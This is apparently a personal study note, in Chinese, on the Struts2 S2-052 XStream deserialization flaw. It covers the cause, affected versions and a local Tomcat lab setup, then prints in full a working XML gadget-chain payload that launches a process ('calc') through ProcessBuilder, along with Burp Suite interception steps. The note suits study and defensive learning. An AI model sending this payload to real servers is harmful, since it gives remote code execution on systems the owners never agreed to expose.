struts2-052漏洞學習
一、 1.strust2
Struts2是一個基於MVC設計模式的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與檢視的資料互動
2.strust2-052漏洞
Struts2 REST外掛的XStream元件存在反序列化漏洞,使用XStream元件對XML格式的資料包進行反序列化操作時,未對資料內容進行有效驗證,存在安全隱患,可被遠端攻擊
二、 1.struts2-052漏洞產生的原因
XStream元件對XML格式的資料包進行反序列化操作時,未對資料內容進行有效驗證
2.存在這個漏洞的會導致的後果
REST外掛在解析請求中的xml檔案時,呼叫了XStreamHandler,傳入的資料會被預設進行反序列化,如果當傳入的xml是個經過XStream序列化的惡意物件時,便造成反序列化漏洞
三、 漏洞的重現和利用
1. 在Windows中進行實驗
Java以前就配置好了,步驟是安裝javajdk,再配置JAVA_HOME CLASS_PATH PATH的路徑
2. 下載tomcat並配置
下載tomcat伺服器,解壓放在G盤下,新增三個環境變數CATALINA_HOME CATALINA_BASE PATH路徑,在cmd中啟動startup,我在配置PATH路徑的時候把之前的path路徑沖掉了,又重新添加了會來
3. 下載存在漏洞版本的struts2其中Version2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33都存在漏洞,我下載的是2.5.12版本的,將struts2放置在tomcat訪問的根目錄下,訪問成功如下圖
4. 攻擊payload是在網站上查到的
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<valueclass="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSourceclass="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipherclass="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIteratorclass="javax.imageio.spi.FilterIterator">
<iterclass="javax.imageio.spi.FilterIterator">
<iterclass="java.util.Collections$EmptyIterator"/>
<nextclass="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filterclass="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<nextclass="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<inputclass="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeStringreference="../jdk.nashorn.internal.objects.NativeString"/>
</entry><entry>
<jdk.nashorn.internal.objects.NativeStringreference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeStringreference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
5. 在burpsuite中配置瀏覽器的代理地址和埠進行攔截瀏覽器的服務請求
6. 如果網站中存在這樣的漏洞,攻擊者可以將實現相應功能的payload放在xml的資訊體中直接上傳,而且網站對該資訊不進行檢查,所以攻擊者有很大自由去攻擊目標主機
四、 nvt是openvas的漏洞資料庫,
每一個掃描的外掛掃描的埠是固定的,當掃描任務中要掃描哪些埠就用這些埠匹配的外掛去掃描,所以是掃描漏洞的執行者
僅實驗 謹實驗